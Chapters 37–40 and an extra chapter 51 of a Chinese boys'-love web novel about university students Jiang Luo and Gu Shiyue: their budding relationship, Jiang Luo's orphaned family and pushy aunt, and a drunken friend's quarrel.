江晨的雷达并不灵敏,并且还劈叉了,劈到戚雪影那里去了。他以为江洛说的朋友是戚雪影,因为在那之前江洛提到最多的朋友就是戚雪影,程嘉树另当别论,那是江晨从小就认识的哥哥,是江洛的老朋友了。 “上次漫展那个。”江晨说。 江洛傻了好一会儿,可算是反应过来了:“啊你想什么呢!” 他简直哭笑不得:“当然不是那个姐姐,是另一个,我的学长。” “啊……”江晨一脸恍然,点了点头道,“好吧……是我想岔了。” “你这都岔到哪里去了,什么住女生家里……江小晨,我是那种轻浮奔放的人么?” 说完江洛一哽,低头看了看自己身上穿的睡衣,又看了看自己身下坐的这张床,脑子里蹦出来一个小人拿着小喇叭喊:你是。 第38章 江洛轻咳了一声, 转移话题道:“你还记得他吧,我那个学长。” “记得。”江晨顿了顿,说, “我以前没听你提过他。” “我这学期才认识他, 以后我会多提的。”江洛笑着说,“你到时候可别嫌烦。” “你跟他关系已经这么好了么。” “是啊,特别好。他人也特别好。” “你今天怎么在他那儿?他也住校外?” “啊,我……找他玩儿。今天有点晚了, 就直接住下了。” 江小晨确实迟钝,一点没怀疑这话的真实性, 哥哥说什么就是什么。 江晨平时睡得早, 所以这通视频也没打太长时间。电话挂断后江洛开门出去看了一眼, 客厅没有人,有一个房间的门开着, 里面的灯亮着。 那间屋子是顾时越的书房, 江洛走到门口出了个声:“学长?” 书桌上有三台电脑, 顾时越正在中间一台电脑上写东西,他敲着键盘,视线没有离开屏幕:“进来。” 书房非常大,一面是书墙, 一面是玻璃展柜, 玻璃柜里摆放着大大小小的飞机模型, 这些模型大部分都是顾时越自己做的, 也有他收藏的。玻璃柜旁边有一架单独摆出来的飞机模型,尺寸比柜子里的那些模型都要大,它有一个单独的展示柜。 “坐一会儿。”顾时越边打字边说,“还有一点内容, 我把它写完。” “不急,你慢慢写。”江洛走近看了看那些飞机模型,近看更精细,“学长,这些飞机模型是你自己做的吗?” “大部分是。” 江洛心道太酷了。 顾时越在写开题报告,电脑屏幕上都是一些专业名词,一眼扫过去跟天书似的。江洛没有等很久,十分钟后他们就回了卧室。 顾时越先上了床,江洛站在一旁,两只手勾着手指放在身前,看起来又乖又有点可怜巴巴的。 顾时越看着他:“今天晚上打算站那儿看我睡觉?” 江洛绕了绕手指:“唔……” 顾时越掀开被子另一边,示意他过来。 江洛听话地走到床边,在顾时越旁边躺了下来。顾时越扬手把被子给他盖上,江洛往被子里缩了缩,半张脸挡在被子底下,两人中间隔着半臂的距离。 顾时越捻了捻他的耳垂:“跟你说什么都要说两遍。” 突然的肢体接触让江洛轻轻一抖。 确认关系第一天就同床共枕,江洛肯定难为情,虽然两人现在只是躺着什么也没干。 江洛忽然想起上次在这穿着女装撞见顾时越的舅舅,噌地一下坐了起来。 “怎么了?”顾时越看着他。 “那个,你舅舅会不会突然间回来啊?”江洛小声问。 顾时越看他一脸紧张,故意逗他:“有可能。” 江洛倏地瞪大眼睛。 “想走了?”顾时越问他。 江洛思索了片刻,又盖上被子躺了回去:“不走。” 顾时越低头看他,微微挑了下眉。 “你让我留下来的,我听话呢。”江洛眨了眨眼睛,“我要是现在走了,你会不高兴。” “不怕他突然回来?” “可以采取一些应对措施……比如你可以跟他正式介绍一下我。” 顾时越忍不住笑了一声,声音很低,他今天笑了好几次,都有点不像他了。 “你都不怕我也没必要怕。”江洛笑了笑说,“而且你舅舅看起来也挺开明的。” “那刚才还那么紧张。” “毕竟上一次跟你舅舅的会面稍微有点惊心动魄,我还心有余悸呢。” 顾时越摸了摸江洛的头发:“明天要不要去咖啡店上班?” 江洛摇摇头:“咖啡店那边我已经辞职了,这阵子事情有点多,又要比赛又要期末复习,有点忙不过来。” 顾时越点了点头,手指勾着他柔软的发丝。 “学长。”江洛翻了个身,面朝顾时越。 顾时越低头看了他一眼。 “我有点事想跟你说。” “嗯,说。” 江洛撩开被子坐了起来,盘腿坐在床上,看着顾时越:“我想跟你聊聊我的事。” “主要是想说说我家里的情况,因为我们俩已经在一起了,我觉得应该让你知道。”江洛笑了笑,“虽然你早晚都会知道,但是我想自己跟你说。” 顾时越默不作声地看着他,等他说下去。 “我弟弟,江晨,上次你在漫展见过的,他比我小四岁,现在在读高二,嗯……”江洛停顿了片刻,说:“其实,我家里只有我和我弟弟两个人。” 顾时越微微蹙了下眉。 “我爸在我很小的时候工作出意外去世了,那时候我还不记事,我弟也就豆丁点大。我妈妈……”江洛垂了垂眼,“在我高一的时候也走了,因为生病……所以我家里现在就我和我弟弟两个人,我爸爸妈妈都已经不在了。” 江洛说完点了点头:“嗯,大概就是这么个情况,我说完了。” 江洛跟顾时越说这些只是单纯地想让他知道自己的情况,想让他更了解自己,他和顾时越已经在一起了,恋人之间不该所有保留,与其事后告知,不如现在就说。 顾时越沉默地盯着他,过了很久才开口:“这几年是不是都是你在照顾你弟?” 江洛弟弟小他四岁,他妈妈过世的时候他弟弟年纪还那么小,家里要是没有其他亲戚长辈,养弟弟的责任必然落在江洛肩上。 “最开始是我叔叔婶婶照管的,后来就是我接手了。”江洛笑了笑,“我弟他可乖了,带起来很省心,比我这个当哥哥的省心。” 江洛的妈妈去世还没几年,顾时越不知道江洛这些年是怎么过来的,他妈走的时候他自己还是个没成年的孩子。 顾时越脸上第一次露出这么凝重的神情,他的眉心越蹙越深,眼底的情绪很明显,这样的眼神让江洛有点揪心,江洛拽了拽他的衣袖:“我现在不是挺好的嘛,你不要皱眉。” “我把我自己和弟弟都养得很好,你说是不是啊。”江洛笑着问他。 顾时越把他拉进了怀里,低声说:“嗯,是。” 江洛闭着眼睛,脸贴着顾时越的胸口,鼻子忽然有点发酸:“其实那天听到你妈妈的事,我特别难过。我知道你也很难过,但我不知道该怎么安慰你。我妈妈……她是个非常非常好的人,我很想她,又不敢多想她,她的样子在我脑子里刻得越深,我就越难过。为什么那么好的人,都走得那么早呢……” 江洛的眼泪顺着眼角滑了下来,滴落在顾时越的衣服上。 顾时越轻轻蹭去他睫毛上的泪,沉默的抱着他。 江洛吸了吸鼻子,哑声说:“她们会在另一个世界看着我们,所以我们都要好好的,要好好地生活,要往前走,不能一直留在过去,不能一直那么难过……” 顾时越温柔地抚着他的头发,“嗯”了一声。 江洛把脸埋在顾时越胸口,摇着脑袋用力地蹭了蹭,顾时越垂眼看他,手抚着他的后颈:“你是小狗么。” “我是啊。”江洛抬起脸,眼睛有点红红的,“你身上香香的,是小狗喜欢的味道。” 顾时越捏了捏他的鼻子:“小狗把鼻涕蹭我身上了,怎么说。” 江洛笑出了声,赶忙从他身上起来:“我没有,我脸上干干净净的呢,你别瞎说。” 低落的情绪一下子就散干净了,江洛不允许自己胡思乱想被负面情绪裹挟,他揉了揉脸,又忽然想起了件事:“对了学长,我还有个事没说。” “我们俩在一起的事,我想等我弟弟成年了之后再告诉他,他没成年我总觉得他还是个小孩儿,感觉跟他说这些……有点不太合适。” “随你。” “我是不是有点太古板了。” “还行。”顾时越问,“弟弟什么时候成年?” “马上!明年就十八。” 顾时越点了点头,从床头柜拿了本书,问江洛:“要不要看电视?” 江洛摇了摇头:“你不是要看书么?” 顾时越有睡前看书的习惯,他翻开书页,对江洛说:“你看电视不影响我看书。” “我不看电视,我看你。” 顾时越抬起眼皮看了他一眼,江洛眨眨眼睛:“你看吧,我不打扰你。” 确实是没打扰,后来直接一点动静都没了,听到平缓的呼吸声,顾时越侧过头看了一眼——江洛已经睡着了,脸微微侧着陷在柔软的枕头里,发丝凌乱,鼻息轻缓。 这一天下来肯定是累透了。 顾时越低下头,在他唇上轻轻落下一吻。 江洛一觉睡到天亮,睁眼时顾时越已经不在床上。他刚睡醒,脑子有点懵,盯着天花板发了好一会儿呆大脑才重新启动。 昨晚发生的事并不是梦,他真的在顾时越家里,在顾时越的床上。 “咔”的一声轻响,顾时越开门走了进来,江洛往门口看了一眼。 “还早,再睡会儿。”现在才七点半,顾时越已经穿戴整齐,他走到床边说,“早饭给你做了,在蒸箱里。我今天要去实验室做实验,要先走。” “这么早啊。”江洛刚睡醒,嗓子有点哑。 “嗯。”顾时越俯下身,跟他脸对脸。顾时越脸上淡淡的须后水香扑进江洛的鼻间,江洛两只眼睛忽闪忽闪的,不由得屏住了呼吸。 “早安。”顾时越在他额头落下一吻,随后关上门出去了。 江洛有些恍惚地望向门口,半晌才回过神来。他把被子往脸上一盖,闭着眼睛恍然一笑。 早安,他在心里轻声说。 第39章 区域赛一结束, 期末周也临近了,江洛刚比完赛气还没喘匀,又要准备复习备考了。这阵子江洛和顾时越都挺忙, 江洛就那天在顾时越家住了一夜, 之后就一直是睡在宿舍。不是他不想在顾时越那儿住,只是他没那么强的自制力,跟顾时越待在一块还能心无旁骛地复习。小年轻血气方刚的,见了面亲亲抱抱又贴贴, 哪还有心思干正事。 元旦假期江洛回了趟家,返校后没两个礼拜就期末考试了。程嘉树比江洛早两天考完, 他考完试没有直接走, 又在学校呆了两天, 和江洛一起回的家。 顾时越这几天跟他导师去外地了,江洛回家那天没能去高铁站送他。 江晨放假比江洛晚, 考完试那天江洛去学校接他, 两个人下馆子吃了顿好的。第二天江晨睡到日上三竿, 他刚解放,江洛想让他多睡会儿,没叫他起床跑步。 江晨快中午了才醒,吃完午饭在书房写作业, 江洛让他劳逸结合, 别一闲下来就埋卷子里, 于是哥俩下午一起在家看了部电影。 快傍晚的时候, 哥俩正商量晚上吃什么,江洛的手机突然响了,是他婶婶打来的电话。 “喂?婶婶。”江洛接了电话,把手机开到免提。 “哎, 小洛啊,小晨是不是考完试放假了?” 一旁的江晨微微皱了下眉。 “对。” “哎那好,你俩一会儿来婶婶家吃晚饭吧,我买了好多菜,都是你俩爱吃的。小晨刚考完试,多辛苦啊,得好好补补。” 江洛看了江晨一眼,对他婶婶说:“不用了婶婶,我们在家吃就行了,不麻烦您。” “不麻烦,我菜都买好了,这都开始上锅烧了,特意给你们俩买的菜,你们不来吃不是浪费么,那么多菜呢。” 话都说到这份上了,再拒绝倒显得他们不识好歹,江洛只得答应:“嗯……好。” “哎,五点左右就过来啊,别太晚了。” 江洛挂了电话,有些无奈地看了江晨一眼。他们都不喜欢去婶婶家,江晨尤甚,他在那个家生活过一段时间,过得并不愉快,甚至压抑。 江洛的妈妈临终前把他和江晨托付给了他们叔叔照管,还给了叔叔家一笔抚养费,他们一家拿着钱却没怎么好好照顾他们哥俩,江洛自己无所谓,但他见不得江晨受委屈。他叔叔耳根子软,在家说不上话,大小事都是他婶婶做主,他婶婶最会说漂亮话,面上从来都是和和气气,这样的人,即使你清楚她的为人也没办法真的跟她撕破脸,更何况他们还隔着一层亲戚关系。 婶婶很少主动喊他们去家里吃饭,今天突然这么热情,肯定是有什么事。 江洛猜得没错,吃晚饭的时候婶婶果然在饭桌上谈起了“正事”。 她给江晨夹了筷鸡腿,笑着说:“这鸡汤我炖了两个小时,小晨你多吃点,高中压力大,学习辛苦着呢,好好补补。” “妈,我想吃鸡胗。”周浩拿勺子在砂锅里搅了搅,“鸡胗呢?” 叔叔家有对双胞胎,说话的这个是哥哥,叫周浩。弟弟叫周涵,兄弟俩长得一样,性格也差不多,从小就皮,不招人喜欢。 “给你留着呢,锅底下,自己找找。”婶婶说。 周浩继续搅着,捞半天没捞到,不爽道:“哪有啊!” “别是给你弟吃了。” “靠,你把我鸡胗吃了?”周浩瞪着周涵。 周涵不以为意:“你管我呢。” 兄弟俩有事没事就要吵,婶婶拿筷子敲了敲桌子:“哎哎哎——你俩打住啊,又要闹,一个鸡胗也能吵吵,明天妈再给你们弄。” 可能是被打断说话了,婶婶有点不太高兴,她转脸看向江晨的时候又重新端起笑容:“小晨啊,婶婶想跟你商量个事儿。” “您说。” 婶婶给江晨盛了碗鸡汤,笑着说:“你看你跟周浩周涵不都放寒假了吗,我想着你平时有空能不能上家里来给他俩补补课?” “妈,我不要补课。”周浩一脸哀怨,“拢共才放那么几天,休息都不够的。” “你闭嘴。”婶婶瞪他一眼,又笑着看向江晨,“这俩小子明年就要升初三了,成绩总上不去我着急啊,小晨你成绩好,能不能带带你两个弟弟?” 江晨一时间没说话,他脸皮薄,心软,面上看着冷,其实吃软不吃硬。 江洛了解他弟,也了解他婶婶,他婶婶向来如此,用人朝前不用人朝后。他是不可能让江晨吃亏的,于是先江晨一步开了口,跟他婶婶说:“婶婶,小晨都高二了,高中学习强度大,他平时在学校很辛苦,难得放个长假我想让他好好休息一下。他们高中的作业您也知道,只会多不会少,再要来这里给小涵小浩补课,他哪里还有自己的时间。您还是找个专门的辅导老师给小涵和小浩补课吧。” 江晨转头看了他哥一眼。 婶婶的笑容僵在脸上,她扯了一下嘴角,佯装失笑:“就辅导一两个钟头,也耽误不了多少时间呐,回头直接让小晨在这儿吃了饭再回去,你还省事儿了呢。” 江洛放下筷子,正色道:“小晨从来都让我很省心,没什么省事不省事的。话我已经说得很清楚了,小晨放假需要休息,我不同意他来帮周涵和周浩补课。” 江洛最没脾气,也好说话,很少有这样强硬的时刻,婶婶脸上没了笑意,显然有点不高兴:“小洛,我问的是小晨,小晨还没说什么呢。” “他说什么都一样,就算答应了我也不会让他来。”江洛态度强硬,“我说了不行就不行,他答应没用。” 婶婶沉下来脸,压下情绪,温声问江晨:“小晨,你说呢?” 江晨说:“我听我哥的。” 这顿饭吃得并不愉快,意料之中。 “我就知道没好事。”他们吃完饭就回家了,一到家江洛就往沙发上一趴,“每次去那儿吃饭都得掉层皮,累得我……还有那俩双胞胎,他俩有不吵的时候么,回回去都被他们闹得头疼,一模一样的魔丸为什么要生两个……” 江晨被他逗笑了:“我去洗澡了哥。” “去吧。” 江洛在沙发上躺了会儿,浴室里响起水声,他拿出手机看了一眼。顾时越这几天好像很忙,江洛给他发微信他总回得很慢,江洛也不敢发得太频繁,怕打扰他。 自从放假后,两个人已经半个多月没见面了,如果等开学再见,那就差不多是一个半月。 有点太久了。 江洛给顾时越发了条消息:吃晚饭了吗? 顾时越:嗯。 顾时越打了通电话过来,江洛往浴室方向看了一眼,拿着手机去了卧室。 “你今天不忙啊?”江洛问。 “嗯,刚跟导师回来,忙完了。” 江洛坐在飘窗上,食指在膝盖上画圈圈:“你在干嘛?” “在跟你说话。” 江洛“噗嗤”笑了一声:“那你问问我在干什么。” “在干什么?” “在想你。”江洛笑眯眯地说,也不害臊,也不嫌肉麻。 电话那头的人沉默了片刻,说:“我过几天去找你。” 江洛愣了一下,倏地站起来:“学长你要来我家么?” “嗯,这几天是不是都有空?” “有有有,空着呢。你要不要……在我家住几天啊?” “方便?” “当然方便。” 顾时越过几天要来家里的事得提前跟江晨说一下,江晨洗完澡,江洛就叫他来说了这件事。 “就是那个学长,我上次电话里跟你说的。” 江晨点了点头:“哦。” “他这次来,要在咱家住几天再走。” 江晨又“哦”了一声,反应淡淡的。他哥的朋友里除了程嘉树,没有谁来他们家住过,看得出来他哥跟那个学长的关系真的很好。江洛去阳台拿衣服的时候还小声哼着歌,似乎很期待对方的到来。 顾时越来之前,江洛把家里里里外外打扫了一遍,还特意在网上买了香薰摆在卧室里。 江洛老家离他们上大学的城市不远,顾时越是直接开车来的,来的这天他跟江洛说下午六点左右到。 江洛满怀期待地等着,五点半的时候敲门声响了起来,江洛噌的一下从沙发上站起来,快步走去玄关开门。 他还以为是顾时越,没想到一开门扑进来一个醉醺醺的程嘉树。 程嘉树一身酒气,江洛差点被他扑倒,赶忙扶住他:“什么情况啊你?” 醉鬼软绵绵一滩,没有重心沉得不行,江洛根本扶不住他,他朝屋里喊:“小晨,过来搭把手……” 江晨本来在书房,听到声音就过来了。 “嘉树哥?”江晨愣了一下,“他是……喝醉了?” “不知道怎么了,快帮我扶一下,太沉了我抱不住他。” 江晨赶紧过去扶住他,程嘉树清醒了一瞬,扬手挥开他们的手,大着舌头说:“不用扶,我自己能走。” “怎么了你?”江洛还是扶着他,“什么情况啊,发生什么事了?” “都他妈傻逼,林予就是最傻逼的那个,最最傻逼的傻逼!”程嘉树扶着墙往里走,嘴里骂骂咧咧,“都滚吧,滚了这辈子都别回来!” 林予是程嘉树的发小,高中就去国外留学了,最近他也放长假,刚回国没几天。程嘉树跟他从小一起长大,两人在初三的夏末分别,从那以后便聚少离多,但也没断了联系。今天林予跟程嘉树说他们一家明年要移民,他说他要走,要离开这里。不再是短暂的分别,而是永远。 林予就是个傻逼,程嘉树恨恨地想。 “吵架了?”江洛问道。 “吵个鸡毛,我傻逼了我跟他那种人吵架,他值得老子这样么,啊?他算个屁。”程嘉树神志不清,凭着肌肉记忆径直往客厅里走,直挺挺地倒在沙发上,嘴里还嘀嘀咕咕地骂着“傻逼”。 江洛第一次见程嘉树这副样子,大白天喝酒,还喝得醉成这样,肯定是跟林予大吵了一架。 “你俩咋了?”江洛蹲下来问他。 程嘉树闭着眼睛哼了一声,没说话,像是睡过去了。江洛想去厨房帮他弄点解酒的茶,刚起身就听见他闭着眼嚷嚷:“林予我要喝水!” 江洛无奈道:“好好好,我去给你倒水。” 江洛去厨房倒水,江晨把沙发旁边的毯子拎过来给程嘉树盖上。 江洛倒了杯温水过来,递到程嘉树嘴边:“喝吧。” 程嘉树没睁眼,嘴唇动了动,江洛把杯子朝他那边斜了斜,程嘉树顺势抿了口水。 “再喝点。”江洛说。 程嘉树睁开眼,一把抓住江洛的胳膊,眯着眼睛说:“你有心没心啊林予?” 他已经意识不清,把江洛错认成了林予。江洛叹了口气:“你是喝了多少啊。” 外面又有人敲门,这次肯定是顾时越,江洛想去开门,结果程嘉树抓着他的胳膊不松手。 “我去开个门,你松手啊。”江洛很无奈地说。 “你开个屁!不许去,你就在这待着,你要是敢走我就弄死你。”醉鬼力气大,江洛实在挣不开,最后是江晨去开的门。 江晨把门打开,门外是一张熟悉的英俊面孔。 两个人走进客厅,顾时越一进来就看到江洛被人拽着胳膊蹲在沙发旁边。 江洛转头看了一眼,他想扯开程嘉树的手,可程嘉树就像一条缠住猎物的蛇,江洛越动,程嘉树就攥他越紧。 “学长——”江洛撑着沙发想站起来。 “你他妈又想走!”程嘉树猛地一拽,江洛没站稳,一不小心摔在了他身上。 程嘉树恨恨地、又带着鼻音地说了一句:“你就是没有心,全世界就属你的心最硬。” 江洛猛地吸了口气,一抬眼,对上了顾时越的视线。 顾时越看着他,面无表情,情绪不明。 江洛的心不硬,但此刻很凉- 作者有话说: 乱成一锅粥啦,洛宝成热喝了吧 第40章 江洛手忙脚乱地从程嘉树身上爬起来, 刚要说话,程嘉树口袋里的手机突然响了。 程嘉树嘴里发出一声不耐烦的气音,皱着眉在兜里胡乱摸了一通, 不小心把电话给挂了。铃声断掉, 程嘉树闭着眼睛把手机随手一丢,丢进了沙发缝里。 电话又响了起来,江洛把手机从沙发缝里摸出来看了眼屏幕——是林予的电话。 顾时越侧头问了江晨一句:“洗手间在哪?” 江晨指了指洗手间的方向。 江洛一抬头发现顾时越已经不在原处了,赶紧跟过去。手里的手机还在响, 江洛急着跟顾时越解释,又不能不接电话, 情急之下直接往顾时越面前一拦。 江晨疑惑地望着他们这边。 “程嘉树喝多了, 他撒酒疯呢。”江洛解释道, “学长,我先接个电话, 你等我一会儿好不好?” 顾时越垂眸扫了眼他手里的手机, “嗯”了声。 顾时越去了洗手间, 江洛接了电话。 “跑哪儿去了?”电话那头传来林予的声音。 “林予,我是江洛,大树他在我家,他喝多了。” 林予一愣:“喝多了?他现在怎么样, 人清醒吗?” 江洛看了一眼沙发上的人:“半醉半醒, 脑子已经糊涂了, 刚刚还撒酒疯呢, 现在已经睡过去了。你们……吵架了啊?” 林予无奈地笑了下:“没吵架,是我把他惹生气了。你微信能不能发我个定位,我过去接他。” “没问题。” 顾时越只是去卫生间洗个手,他没关门。江洛见门开着, 直接走了进去,轻轻带上门。 顾时越关上水龙头,甩了下手上的水,抬眸看了一眼镜子里的人。 江洛走过来,把架子上的洗脸巾捧着递到他手边:“学长请擦手。” 顾时越其实对刚才发生的事没表露出明显的情绪,也没说什么。不管他有没有误会,江洛肯定得解释一下。 顾时越还没说话,江洛又道:“我帮你擦吧。”说着他抽了张洗脸巾,把面巾盒放一边,抓起顾时越一只手。 江洛拿洗脸巾擦着顾时越手上的水渍,解释道:“程嘉树刚才说的那些话不是对我说的,他喝多了认错人了,把我当成别人了……就是刚才打电话来的那个人。” 顾时越没有误会,他只是不喜欢江洛跟其他人有肢体接触。 顾时越用另一只沾着水的手轻轻捏住江洛的下巴,重复了一遍程嘉树刚才说的话:“全世界就属你的心最硬——谁的心?不是你的心?” “当然不是我的!”江洛忍不住笑了,“我都跟你说了他认错人了嘛。” 下巴还被顾时越捏着,江洛嘟起嘴凑过去在顾时越唇上亲了一下:“我的心才不硬。我的心可软了,对你最软。” 外面还有人,江洛亲一下就点到为止,不敢太放肆。 顾时越用拇指轻轻蹭去江洛下巴上的水珠,视线描摹着他的脸庞。 “想你了。”顾时越低声说了一句。 江洛先是愣了一下,然后抓住了他的手,歪着脑袋,脸颊在他手心蹭了蹭。 林予很快就到了,程嘉树撒完酒疯后一直乖乖在沙发上睡着,林予走到沙发旁边,俯下身来叫他:“程嘉树。” 他刚叫了一声,程嘉树就睁开了眼,直愣愣地看着他。 “林予……” “是我。”林予说,“回家了。” 程嘉树还没完全清醒,他扬手推开林予:“回个屁家,你有多远滚多远。你不是要滚吗,现在就滚。” 程嘉树坐了起来,扶着沙发想站起来,刚一起身就一阵强烈的头晕,又重心不稳地坐回了沙发上。 他垂着头,呼吸声很重。 林予在他面前蹲了下来,低声问:“你要不要跟我回家?” 程嘉树嘴里吐出两个字:“你滚。” 林予皱了皱眉:“你这样我们还能交流吗?” 程嘉树抬起头,眼底一片红,开口时声音有点哽咽:“谁他妈要跟你交流,我说了你有多远滚多远。”他侧过头吸了吸鼻子,抬起胳膊蹭了一下脸。其实刚才已经哭过了,眼睛和鼻尖都红红的。 林予捧着程嘉树的脸让他把头转过来,脸对着自己:“我不是跟你说了吗,明年移民只是暂定,还没敲定下来。” “有区别吗。” “有。” “有个屁。” “我说有就有。”林予语气温和,“现在不说这个,你先跟我回去。” “我不要。”程嘉树撇过脸去。 林予默不作声地盯着他。 程嘉树推开他的手,晃晃悠悠地站起来:“都别他妈的管我……” 林予没再跟他废话,直接弯下腰把他扛了起来。 “操!”程嘉树反应过来的时候已经被林予扛到了肩上,脑袋朝下,双脚腾空。 两人身材差不多,林予扛他却是轻轻松松。林予了解程嘉树,他就是头软硬不吃的倔驴,只能用这种直接粗暴的方式带他走。 “江洛,麻烦帮我开个门。”林予扛着程嘉树对江洛说。 程嘉树就是只比格,能治他的也只有林予,江洛忍笑道:“你要这么扛他下去啊?” 林予笑了笑:“还能怎么办。” “我操……妈的,林予你他妈有毛病吧!赶紧放我下来!”程嘉树用力地拍着林予的后背。 林予侧过头看了他一眼:“好好跟你说话也说不来,脾气怎么就这么臭。” “你他妈的……”程嘉树喘着粗气,脑袋倒着垂在那儿脸都憋红了,“我脾气哪里臭了,你要走你还有理了……你个混蛋玩意儿……” 林予扛着程嘉树走去玄关,江洛把门打开,程嘉树抬着脑袋冲他喊:“救我啊!!!” 江洛拍拍他的后脑勺:“他带你回家呢,又不是要卖了你。你俩好好聊,别吵架。” “靠……”程嘉树酒已经醒了一大半,甚至有点脑充血。 “我跟你一块儿下去吧。”江洛跟林予说,“我怕他半道掉下来了,我给你扶着。” 林予笑了下:“掉不了。” 江洛最后还是跟林予一起下去了,还好他家住三楼,坐电梯一会儿就到楼下了。 林予是开车来的,车就停在小区楼下的临时停车位上,他把一身酒气的程嘉树扔进后座,上车把车门锁了,跟江洛道了别就开车离开了。 家里这三个人七点半才吃上饭。 他们是在外面吃的饭,江洛提前订了餐馆,他倒也想留顾时越在家里吃饭,但他做饭不好吃,只能下馆子了。 吃完饭回到家已经快九点了,江晨睡得早,一到家他就回了房间,准备拿睡衣去洗澡。 江洛和顾时越在客厅坐了会儿,门铃响了。 来的是田皓宇,江晨的同学,跟他们住一个小区。 田皓宇跟进自己家一样熟门熟路地走进来:“哥,晨儿呢?” “屋里呢。” 看到坐在沙发上的顾时越,田皓宇脚步猛地一顿,江晨刚好从房间里出来,手里拿着睡衣,他看了田皓宇一眼:“你怎么来了?” “来找你拿卷子啊。”田皓宇朝他小跑过去,还回头看了顾时越一眼。 田皓宇把江晨推进卧室,关上门问:“客厅里坐的那谁啊?” “我哥朋友。” “够帅的啊。” “我要去洗澡了。”江晨说。 “卷子卷子。”田皓宇搓了搓小手,眼睛在发光。 “不给抄。”江晨直接拒绝。 “我还没说什么卷子呢。” “哪张都不给抄。” “啊……”田皓宇脸一垮,“你咋这样,以前还让抄呢……” “以前是以前……”江晨以前太好说话了,现在已经高二了,明年就高三,他不能再这么惯着田皓宇,“现在是现在。你以后有什么不会的题直接问我,不许抄了。” “我想哭。” “哭吧。” 江晨和田皓宇还在房间说话,江洛把顾时越的行李箱推到他卧室,跟他说:“这几天你睡我的房间,床单被套我都给你换过了。” 江洛的房间里有一个透明的展示柜,里面摆着大大小小的手办、立牌和徽章,还有一些毛绒玩偶和卡片。这一片小小的角落让这个房间充满了生气,柜子里的那些小东西跟它们的主人一样可爱。 “你呢。”顾时越问江洛。 “我跟小晨睡一个房间。”江洛转过身,往门口瞄了一眼,他凑到顾时越身前,刚想做点什么的时候,江晨忽然在外面喊了声“哥”。 江洛吓了一跳,差点咬着舌头。 “哎。”江洛探出门外应了一声,“什么事?” “没事。”江晨说,“我以为你出去了。” “我跟时越哥哥说话呢。小宇呢?” “走了。”江晨拿着睡衣往浴室走,“我先去洗澡了。” “好。” 家里有个未成年小朋友在,想做点成年人做的事都不方便。江洛藏着那点乱七八糟的心思,但顾时越好像没有,他在江晨面前与江洛的相处很有分寸和距离,和江洛独处时也不会主动表现出想跟江洛做点什么的样子,每一次的亲近,几乎都是江洛主动。 江洛说过,他想等江晨成年以后再告诉他自己和顾时越的关系,顾时越尊重他的想法,才会跟他刻意维持距离。 这一晚上,除了在洗手间的那个亲吻,他们再没有一点肢体接触,连手都没碰过。 江晨已经睡着了,耳旁传来平缓的呼吸声,江洛放下手机转头看了他一眼,轻轻地叫了声:“小晨?” 没有应答。 江洛放下手机,掀开被子,蹑手蹑脚地下了床。他连拖鞋都没穿,做贼似的,光着脚打开门出去了。 客厅一片漆黑,江洛没开灯,凭着记忆摸黑走到了自己房间门口。门缝里没有一点光透出来,江洛轻轻敲了敲门,屋里没人应。 尽管如此,江洛还是大着胆子拧开了门把手。 江洛的眼睛已经适应了黑暗,他看到顾时越仰躺在床上,呼吸声很轻,但并不是睡着时的呼吸频率。 他知道顾时越醒着。 江洛掀开被子一角,从被子最底下钻了进去。被子拱起一个明显的弧度,像座移动的小山——江洛爬到了顾时越身上。 顾时越睡得很浅,江洛开门进来的时候他就醒了。江洛带着一身冷气,软塌塌地趴在顾时越身上。 “走错房间了?”顾时越闭着眼睛问了一句,嗓音有些低哑。 江洛脸贴在顾时越胸口,笑眯眯道:“好像是走错了。”《 》 【正文完】 第51章 这次五一假期江洛去当官委, 江晨没有一道同行,因为顾时越也会去,他不想给两个哥哥当电灯泡。他的五一是和田皓宇一起过的, 两人外出旅游了。 这次的线下活动在省外, 游戏主办方那边提供食宿,已经安排好了酒店。出发当天,江洛和程嘉树约在高铁站碰头。程嘉树没说这次会带人去,所以看到他和林予一同从远处走过来时, 江洛着实吃了一惊。 “什么情况啊?”江洛惊讶地看着林予,“你什么时候回的国?” 林予笑了笑:“上周。” 林予看了眼站在江洛旁边的顾时越, 两人视线交汇, 点了点头, 互相打了个招呼。 江洛看了眼程嘉树:“你这嘴可够严的啊,居然什么都没说。” “有啥好说的, 他来又不是什么大事。”程嘉树一脸不以为意。 “我说你前两天看着心情那么好呢。” “放屁。”程嘉树瞪他一眼, “老子明明每天心情都很好。” 四个人去排队检票, 江洛站在程嘉树后面,问他:“林予他怎么突然回国了?” “他爷爷前阵子身体不舒服,他回来看看。” “现在怎么样了?” “好点了,已经出院了。” 下午四点左右到的酒店, 江洛和程嘉树的房间在同一层, 两间都是双床房。 酒店是主办方安排的, 前台帮他们登记入住, 登记到江洛他们的时候,顾时越说:“帮我们换成大床房。” 前台抬头看了他一眼,又瞄了眼他旁边的江洛,随后垂下眼, 抿着嘴不太明显地笑了下:“好的,您稍等。” 顾时越还升级了一下房型,升到了最好的套房。 前台是个年轻的小姐姐,她办好房卡笑盈盈地递给江洛和顾时越。 江洛的耳朵红得很明显。 程嘉树是不可能亏待自己的,他也升级了房型,他甚至想订两间房,想一个人睡一间大床房,但遭到了林予的拒绝。 上电梯后,程嘉树见江洛的耳朵还红通通的,坏笑着说:“你跟越哥都老夫老夫了,睡个大床房还这么难为情,脸皮这么薄呢。” 江洛拿房卡在他脑门上轻轻一敲:“小嘴巴能不能闭起来。” “不能。” 江洛看了林予一眼,笑着说:“管管他吧。” 林予淡淡一笑:“谁能管得了他,我管不了。” “程嘉树真烦人。”一进房间,江洛就像个树袋熊似的,往顾时越身上一挂。 顾时越抱着他,轻抚他的后颈。 “我的耳朵还红么?”江洛笑着问。 其实已经不红了。 顾时越侧过头,舔了舔他的耳垂。 江洛耳朵一麻,浑身跟过电了似的,连带着小腹都一阵酥麻。 江洛刚恢复到正常肤色的耳朵立刻又变得通红。 “红。”顾时越说。 “你再舔几下,我整个人都要红了。”江洛笑着说。 顾时越没说话,又去舔他的耳朵,从耳廓舔到耳垂。他的舌尖勾着江洛的耳垂,轻轻逗弄着那一片薄薄的嫩肉。 江洛浑身轻颤,呼吸变得有些急促:“别舔了……我有点受不了。” 顾时越轻咬他的耳垂,低沉的嗓音撩得江洛耳朵发麻:“那里都舔过了,舔个耳朵就受不了了?” 江洛顿时红了脸。他不能听顾时越说“舔”这个字,一听就条件反射地头皮发麻,这大概是另一种形式的思想高潮。 只怪顾时越那次带给他的体验感太销魂蚀骨。 顾时越不逗他了,抱着他去床边坐下。 江洛跨坐在他身上,搂着他的脖子跟他四目对望。 